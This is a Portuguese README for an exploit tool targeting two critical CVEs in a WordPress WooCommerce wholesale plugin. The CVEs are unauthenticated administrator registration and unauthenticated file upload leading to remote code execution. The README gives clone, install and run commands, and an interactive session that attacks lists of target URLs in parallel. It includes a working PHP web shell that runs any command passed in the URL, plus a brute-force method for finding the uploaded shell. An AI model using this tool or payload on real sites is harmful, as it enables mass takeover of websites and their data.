
Privilégio sem Autenticação | Upload Arbitrário de Arquivos sem Autenticação
| Campo | Detalhes |
|---|---|
| ID CVE | CVE-2026-27542 |
| Gravidade | CRÍTICA — Pontuação CVSS v3.1: 9.8 |
| Vetor | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Componente Afetado | Plugin WooCommerce Wholesale Lead Capture (WWLC) para WordPress |
| Tipo de Vulnerabilidade | Escalação de Privilégios Não Autenticada |
| Autenticação Necessária | Nenhuma |
| CWE | CWE-269: Gerenciamento Inadequado de Privilégios |
Descrição:
O plugin WooCommerce Wholesale Lead Capture para WordPress é vulnerável a Escalação de Privilégios Não Autenticada em todas as versões afetadas conhecidas. A vulnerabilidade existe no manipulador da ação AJAX wwlc_create_user, que processa solicitações de registro de usuário sem sanitizar ou validar adequadamente os campos de função fornecidos pelo usuário. Um atacante remoto e não autenticado pode criar uma solicitação POST especialmente formulada que injeta campos arbitrários de capacidade do WordPress — incluindo wp_capabilities[administrator] — diretamente nos metadados do usuário no momento da criação da conta. Isso permite que o atacante se registre como administrador do WordPress sem qualquer autenticação prévia ou interação de um usuário legítimo, resultando em comprometimento total da instalação do WordPress afetada.
| Campo | Detalhes |
|---|---|
| ID CVE | CVE-2026-27540 |
| Gravidade | CRÍTICA — Pontuação CVSS v3.1: 9.8 |
| Vetor | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Componente Afetado | Plugin WooCommerce Wholesale Lead Capture (WWLC) para WordPress |
| Tipo de Vulnerabilidade | Upload Arbitrário de Arquivo Não Autenticado (levando a Execução Remota de Código) |
| Autenticação Necessária | Nenhuma |
| CWE | CWE-434: Upload Irrestrito de Arquivo com Tipo Perigoso |
Descrição:
O plugin WooCommerce Wholesale Lead Capture para WordPress é vulnerável a Upload Arbitrário de Arquivo Não Autenticado em todas as versões afetadas conhecidas. A vulnerabilidade reside na ação AJAX wwlc_file_upload_handler, que é registrada sem qualquer requisito de autenticação ou verificação de nonce. Ao enviar uma solicitação POST multipart especialmente formulada para /wp-admin/admin-ajax.php, um atacante remoto não autenticado pode enviar arquivos de tipo arbitrário — incluindo web shells PHP — para o diretório wp-content/uploads/ do servidor em um subdiretório wwlc-temp-* gerado dinamicamente. A exploração bem-sucedida leva à Execução Remota de Código (RCE) no servidor web subjacente, operando como a conta de usuário do processo web.
Este é um script de exploração Prova de Conceito (PoC) para as duas vulnerabilidades críticas descritas acima, direcionando instalações WordPress que executam o plugin WooCommerce Wholesale Lead Capture. A ferramenta suporta dois modos de ataque independentes:
| Modo | Tipo de Ataque | Objetivo |
|---|---|---|
| Modo 1 | Upload Arbitrário de Arquivo Não Autenticado + Descoberta de pasta por força bruta | Enviar um web shell PHP e localizá-lo por meio de adivinhação de pasta em várias camadas |
| Modo 2 | Escalação de Privilégios Não Autenticada via Registro | Autorregistrar-se como Administrador do WordPress e verificar o acesso de administrador |
pip install requests urllib3 colorama
Ou instale via arquivo de requisitos:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6
# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-27542-CVE-2026-27540.git
cd CVE-2026-27542-CVE-2026-27540
# Install dependencies
pip install -r requirements.txt
# Run the tool
python3 CVE-2026-27542_CVE-2026-27540.py
python3 CVE-2026-27542_CVE-2026-27540.py
A ferramenta apresenta uma interface interativa de terminal. Você será solicitado a fornecer todos os parâmetros necessários.
Crie um arquivo de texto simples (por exemplo, list.txt) com uma URL de destino por linha:
https://target1.com
https://target2.com
http://target3.com/wordpress
Select mode [1=Upload+Folder, 2=Registration+Admin]: 1
Targets list file (one URL per line) [list.txt]: list.txt
Threads (concurrent sites) [3]: 5
HTTP timeout (seconds) [10]: 10
Shell file path [shell.php]: shell.php
Shell signature (marker inside shell) [Nx_SHELL_SIGNATURE]: Nx_SHELL_SIGNATURE
Max pattern-based folder guesses per site [50000]: 50000
Max time-based folder guesses per site [50000]: 50000
Max random-hex folder guesses per site [100000]: 100000
Upload results file [scan_results/wwlc_uploads.txt]: scan_results/wwlc_uploads.txt
Found shells file [scan_results/wwlc_shells_found.txt]: scan_results/wwlc_shells_found.txt
Exemplo de arquivo de shell (shell.php):
<?php
// Nx_SHELL_SIGNATURE
if(isset($_GET['cmd'])){ system($_GET['cmd']); }
?>
Nota: A pasta
wwlc-temp-*é gerada dinamicamente pelo plugin usandouniqid('wwlc-temp-')do PHP. A ferramenta usa uma estratégia de força bruta em várias camadas para descobri-la:
Camada Estratégia Descrição 0 Listagem de Diretório Tenta listar o diretório de uploads se estiver aberto 1 Baseado em Padrão Adivinhações numéricas sequenciais e derivadas do tempo 2 Hex Baseado em Tempo Semeadas por carimbos de data/hora observados nas solicitações HTTP 3 Hex Aleatório Adivinhação de string hex aleatória pura
Select mode [1=Upload+Folder, 2=Registration+Admin]: 2
Targets list file (one URL per line) [list.txt]: list.txt
Threads (concurrent sites) [3]: 5
HTTP timeout (seconds) [10]: 10
Base registration username (prefix) [Nx_admin]: Nx_admin
Base registration email [[email protected]]: [email protected]
Registration results file [scan_results/wwlc_register_results.txt]:
Admin hits file [scan_results/Admin_login.txt]:
A ferramenta:
administrator